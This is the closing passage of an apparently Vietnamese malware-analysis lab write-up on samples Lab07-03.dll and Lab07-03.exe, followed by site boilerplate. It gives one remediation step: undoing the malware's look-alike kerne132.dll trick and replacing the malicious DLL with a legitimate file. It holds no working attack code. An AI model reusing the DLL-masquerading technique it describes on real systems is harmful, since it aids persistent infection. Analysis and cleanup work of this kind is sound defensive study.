      (Câu trả lời bổ sung từ sách) Đổi tên tệp kernel32.dll giả mạo thành kerne132.dll rồi ghi đè tệp DLL độc hại bằng một tệp DLL hợp lệ.

      6. References



      Kết thúc Lab07-03.dll và Lab07-03.exe

      Đăng nhận xét

      Cookie Consent
      We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
      Oops!
      It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
      AdBlock Detected!
      We have detected that you are using adblocking plugin in your browser.
      The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
      Site is Blocked
      Sorry! This site is not available in your country.